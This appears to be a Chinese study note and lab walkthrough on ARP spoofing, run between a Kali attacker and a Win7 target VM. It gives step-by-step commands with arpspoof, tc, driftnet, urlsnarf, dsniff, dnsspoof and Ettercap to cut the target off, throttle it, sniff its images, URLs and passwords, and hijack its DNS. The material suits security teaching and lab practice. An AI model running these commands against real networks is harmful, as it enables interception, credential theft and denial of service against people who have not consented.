学习参考:
一、什么是ARP欺骗
1.什么是ARP?
ARP (Address Resolution Protocol) 是一种网络层协议,用于将 IP 地址转换为物理地址(MAC
地址)。在局域网中,每台设备都有唯一的 MAC 地址,而 IP 地址是可以重复分配的。
因此,当一个设备需要发送数据到另一个设备时,它需要知道另一个设备的MAC 地址。
2.什么是ARP欺骗?
ARP欺骗(ARP spoofing),又称ARP毒化(ARP poisoning 网上多译为ARP病毒)或ARP攻击。
ARP 欺骗是一种网络攻击技术,通过发送伪造的 ARP数据包,让目标设备误以为攻击者是其网关或其它设备,从而达到欺骗目标设备的目的。
(针对以太网地址解析协议(ARP)的一种攻击技术,通过欺骗局域网内访问者PC的网关MAC地址,使访问者PC错以为攻击者更改后的MAC地址是网关的MAC,导致网络不通)
这样,攻击者就可以截获目标设备发出的数据包,甚至可以修改、篡改数据包中的内容。
ARP欺骗危害:
ARP欺骗木马只需成功感染一台电脑,就可能导致整个局域网都无法上网,严重的甚至可能带来整个网络的瘫痪。该木马发作时除了会导致同一局域网内的其他用户上网出现时断时续的现象外,还会窃取用户密码。如盗取QQ密码、盗取各种网络游戏密码和账号去做金钱交易,盗窃网上银行账号来做非法交易活动等,这是木马的惯用伎俩,给用户造成了很大的不便和巨大的经济损失。
3.APR欺骗的原理
ARP 欺骗攻击通过伪造 ARP 数据包来破坏网络的正常通信,达到攻击的目的。
ARP 欺骗的原理主要基于 ARP 协议的工作原理。
ARP 协议的工作原理:
ARP 协议是通过广播请求来获取目标设备的 MAC 地址的。当一个设备需要发送数据到另一个设备时,它会发送一个 ARP请求,询问局域网内的所有设备,是否有指定 IP 地址对应的 MAC 地址。目标设备收到该请求后,会回复一个 ARP 应答,告诉请求者它的 MAC 地址。
ARP 欺骗利用了这种工作原理,攻击者会发送伪造的 ARP 数据包,将自己伪装成网关或其它设备。目标设备收到伪造的 ARP 数据包后,会将攻击者的 MAC地址映射到目标 IP地址上,并将后续数据包发送给攻击者。攻击者就可以截获目标设备发出的数据包,甚至可以修改、篡改数据包中的内容。
此时,攻击者已经拦截了目标设备和网关之间的数据包传输,并可能对数据包进行抓包,修改或篡改等攻击。同时,攻击者可以再发送伪造的ARP请求,将其它设备的IP映射到自己的MAC地址上,这样攻击者就可以中间人攻击,抓包,篡改等等。
二、ARP欺骗的实现
(一)ARP攻击的实现过程
1、攻击者扫描网络中的 IP 地址和 MAC 地址。
2、攻击者构造伪造的 ARP 数据包,其中包含网络中其他设备的 IP 地址和攻击者自己的 MAC 地址。
3、攻击者发送伪造的 ARP 数据包到网络中。
4、被攻击的设备接收到伪造的 ARP 数据包,并更新其 ARP 缓存表。
5、之后,被攻击的设备将数据包发送 到攻击者控制的设备上,而不是真正的目标设备,因此攻击者可以截获网络流量并篡改数据包。
(二)ARP欺骗的攻击方法
1.中间人攻击 : 通过 ARP 欺骗,攻击者可以成为网络中的中间人,收集网络流量 并篡改数据包。
2.数据劫持 : 攻击者可以通过 ARP 欺骗来获取网络中的敏感信息,如用户名和密码。
3.欺骗DNS : 攻击者可以通过 ARP 欺骗来重定向 DNS 请求到攻击者控制的服务器上。
4.后门攻击 : 攻击者可以通过 ARP 欺骗来在网络中放置后门,进一步控制被攻击主机。
5.分布式拒绝服务攻击 (DDoS) : 攻击者可以通过控制多台设备进行 ARP 欺骗来发起 DDoS 攻击。
三、ARP欺骗的模拟实验
主要参数:
-a # 主机 :显示 arp 缓冲区的所有条目;
-H # 地址类型 :指定 arp 指令使用的地址类型;
-d # 主机 :从 arp 缓冲区中删除指定主机的 arp 条目;
-D # 使用指定接口的硬件地址;
-e # 以 Linux 的显示风格显示 arp 缓冲区中的条目;
-i # 接口 :指定要操作 arp 缓冲区的网络接口;
-s # 主机 MAC 地址 :设置指定的主机的 IP 地址与 MAC 地址的静态映射;
-n # 以数字方式显示 arp 缓冲区中的条目;
-v # 显示详细的 arp 缓冲区条目,包括缓冲区条目的统计信息;
-f # 文件 :设置主机的 IP 地址与 MAC 地址的静态映射。
虚拟机准备: ip 网关
攻击机:kali 192.168.3.45
靶机:win7 192.168.3.44 192.168.3.1
两虚拟机设置桥接模式
使用arp -a 查看网关mac
工具准备:arpspoof
语法 arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host 参数 -i interface:指定要用于发送欺骗数据包的网络接口(eth0...) -c own|host|both:控制是否将欺骗信息发送给目标主机或路由器,或者两者都发送。 (own表示仅欺骗目标主机;host表示仅欺骗路由器;both表示同时欺骗两者) -t target:指定要欺骗的目标IP地址。 -r:用于在主机和目标之间进行双向ARP欺骗。 host:想要欺骗的主机的IP地址。
1.ARP断网
靶机能ping通百度,说明网络环境没问题
下面开始断网攻击
arpspoof -i eth0 -t 192.168.3.44 192.168.3.1
语法:
arpspoof -i 网卡 -t 目标IP 网关
也可以使用反向欺骗:
arpspoof -i 网卡 -t 网关 目标IP
可欺骗win7的arp缓存表,导致win7不能上网,这是最常用的ARP断网技术。
win7不能上网的原因是linux默认不转发数据,即 此时的kali不转发网关和win7之间的数据导致win7无法上网。
在win7上查看arp -a 查看可以发现,网关的mac地址与kali的mac地址一样,证明欺骗成功 。
攻击成功后,目标主机断网"请求超时"
攻击机中ctrl(+shift)+c 停止后又可以访问
2.限制网速
使被欺骗的主机能够正常访问网站需要开启路由转发功能:
在使用arp欺骗前先开启Kali的IP转发:(开启后靶机不会断网)
echo 1 > /proc/sys/net/ipv4/ip_forward 查看是否开启: cat /proc/sys/net/ipv4/ip_forward
/proc/sys/net/ipv4/ip_forward 是配置文件,默认内容为0,表示IP转发是关闭的,使用上述命令将该配置文件的内容改写为1,表示开启IP转发。
关闭路由转发功能
echo 0 > /proc/sys/net/ipv4/ip_forward
开启IP转发后 靶机访问网络需要经过攻击机的网卡,
于是攻击机限制自己网卡的速度或者转发的速度也就可以限制靶机。
使用工具tc限制网速(tc是通过限制自己网卡的速度来限制对方的)
限制网速200ms延时
sudo tc qdisc add dev eth0 root netem delay 200ms
取消限制网速200ms延时
sudo tc qdisc del dev eth0 root netem delay 200ms
参数:
qdisc:排队规则
add:添加
dev:设备(网卡)
root:root用户身份
netem delay:设置网络延时时间
我这里已经是root账户,可不加sudo
限制网速200ms延时,使用arpspoof发现靶机被限速,证明攻击成功
3.嗅探流量
什么叫流量嗅探?
流量中包含着敏感数据,攻击者在不入侵你计算机的情况下获得敏感数据,这个过程叫流量嗅探。
同样的在使用arp欺骗前 先开启Kali的IP转发
开启IP转发后 流量会经过kali的主机而后再去到目标,
这时开启arpspoof进行欺骗后目标就不会断网,此时kali可拦截相关受害者主机相关信息,开启wireshark拦截受害者ping数据。
arpspoof -i eth0 -t 172.16.17.139 172.16.17.254
过滤来自靶机的流量:
ip.addr==172.16.17.139
4.嗅探图片
使用driftnet来嗅探图片,它可以展示流经网卡的图片,严格来说是把流经网卡的图片数据还原为图片,即win7上网看到的图片。
安装driftnet:
我用24年的kali,直接装会报错
需要先改一下源(以中科大为例)
24中科大Kali镜像源: deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free non-free-firmware contrib deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free non-free-firmware contrib
重启kali后使用命令安装:
apt-get install driftnet
如果还是装不下来可以先更新一下源:
apt-get upgrade
使用driftnet -i eth0 来窃取受害者网络中传输的图片,图片以小窗口的形式显示。
安装: sudo apt install driftnet
driftnet -help --获取使用文档
语法: driftnet [options] [filter code]
主要参数:
-b 捕获到新的图片时发出嘟嘟声
-i interface 选择监听接口
-f file 读取一个指定pcap数据包中的图片
-p 不让所监听的接口使用混杂模式
-a 后台模式:将捕获的图片保存到目录中(不会显示在屏幕上)
-m number 指定保存图片数的数目
-d directory 指定保存图片的路径
-x prefix 指定保存图片的前缀名
实时抓取图片
第一步,开启数据转发
echo 1 > /proc/sys/net/ipv4/ip_forward
第二步,arp欺骗
arpspoof -i eth0 -t 192.168.158.56 198.168.158.52
第三步,driftnet实时抓取图片
driftnet -i eth0 #eth0是要抓的网卡
但是这个工具公认的难用,没抓到图片
保存抓取下来的图片
操作同上,改变一下driftnet的命令
driftnet -i eth0 -a -d /tmp/win7
5.嗅探访问的URL
webspy:使用webspy嗅探受害者访问了哪些网页。
操作同嗅探图片 ,然后使用webspy来抓,但是只能抓取一次。
webspy -i eth0 192.168.158.56
urlsnarf(既能抓URL也能抓图片)
使用urlsnarf嗅探受害者访问了哪些网页,默认抓取80、8080、3128端口的数据。
开启路由转发功能,使用arpspoof开启欺骗,然后使用urlsnarf来抓,这个工具好用一些
urlsnarf -i eth0
6.dsniff 嗅探账密
当网络中出现了填写账号密码的数据时,dsniff工具就开始截获数据,-m参数会解析网络协议。
开启路由转发功能,使用arpspoof开启欺骗,然后使用dsniff来抓。
注意:dsniff不会实时显示结果,当在win7中输入quit的时候dsniff才会显示结果
dsniff -i eth0 -m
可以发现,当用户登录时成功获取到了账号和密码。
ftp>open 115.146.60.252
//尝试连接到IP地址为115.146.60.252的FTP服务器。
//这是FTP客户端用来初始化与服务器通信的标准命令。连接成功就能够登录到该服务器,并进行文件的上传、下载等操作
7.dns欺骗
dnsspoof启用DNS欺骗,如果是请求解析某个域名,dnsspoof会让该域名重新指向另一个IP地址(黑客所控制的主机),如果dnsspoof嗅探到局域网内有DNS请求数据包,它会分析其内容,并用伪造的DNS响应包来回复请求者。
由于dns查询是客户机向网关发起请求,所以如果要在局域网中实现DNS欺骗,前提仍然是arp欺骗。
arpspoof -i eth0 -t 172.16.17.139 172.16.17.254 //ip 网关
e.g 攻击目的:当靶机访问百度的时候会被我们劫持
(1)vim编辑 dnsspoof 配置文件
updatedb //更新locate的数据库
locate dnsspoof.host //使用locate命令定位文件位置
vim /usr/share/dsniff/dnsspoof.hosts //使用vim编辑配置文件
//用法: i插入模式------>ESC------>:wq------>回车保存并退出
(2)kali上开启apache服务,让受害者可以访问到页面
systemctl start apache2.service
(3)发起DNS欺骗
dnsspoof -i eth0 -f /usr/share/dsniff/dnsspoof.hosts
-i参数指定网卡,-f调用配置文件
udp dst port 53
//kali机会监听eth0网卡中发往udp53端口的数据包
四、Ettercap的使用
kali自带
ettercap是一种网络嗅探器和中间人攻击工具,通常用于网络安全测试和攻击。它可以捕获网络流量并进行分析,同时还可以修改和重定向流量以执行中间人攻击。
使用ettercap,攻击者可以轻松地欺骗受害者,从而获取敏感信息,例如登录凭据、信用卡号码等。同时,ettercap也可以用作网络安全工具,以检测和纠正网络漏洞和安全漏洞。
使用ettercap进行ARP欺骗攻击实验(保姆级教程)-CSDN博客
启动 Ettercap
在终端中输入以下命令启动 Ettercap 图形界面:
sudo ettercap -G
选择eth0后点击右上方的 √ ,然后点击左上方的🔍扫描该网段的所有主机信息
然后点击🔍右面的hosts-list查看扫描结果,可以看到,已经将win7的ip 172.16.17.139扫描出来了
1.ARP欺骗
进行 ARP欺骗,分别将靶机网关ip 172.16.17.254和Win7ip 172.16.17.139 分别添加为Target1和Target2
点击小地球图标(MITM menu)中选择ARP Poisoning
点击ok开始攻击,成功
查看Win7的mac地址已经变成了攻击机kali的mac地址,win7可以连网
打开ettercap的终端不要关闭,关闭了就不能继续进行欺骗攻击了
wireshark 嗅探流量
dsniff 嗅探账密
ARP实验均可实现。
2.DNS欺骗
e.g 攻击目的:使得win7的网络访问转移到攻击机Kali上
(1)vim编辑 etter.dns 配置文件
locate etter.dns //使用locate命令定位文件位置
sudo vim /etc/ettercap/etter.dns //使用vim编辑配置文件
将攻击机kali的ip地址172.16.17.227添加到如下位置,保存退出
打开kali的apache服务
systemctl start apache2.service
在ettercap上进行DNS劫持
点击右上方的三个竖排点,选择plugins------>Manage plugins
双击选择攻击模式 dns_spoof
在win7上访问百度,通过ping 发现响应包不正常了(ddc5)是kali的(962f)说明DNS劫持成功。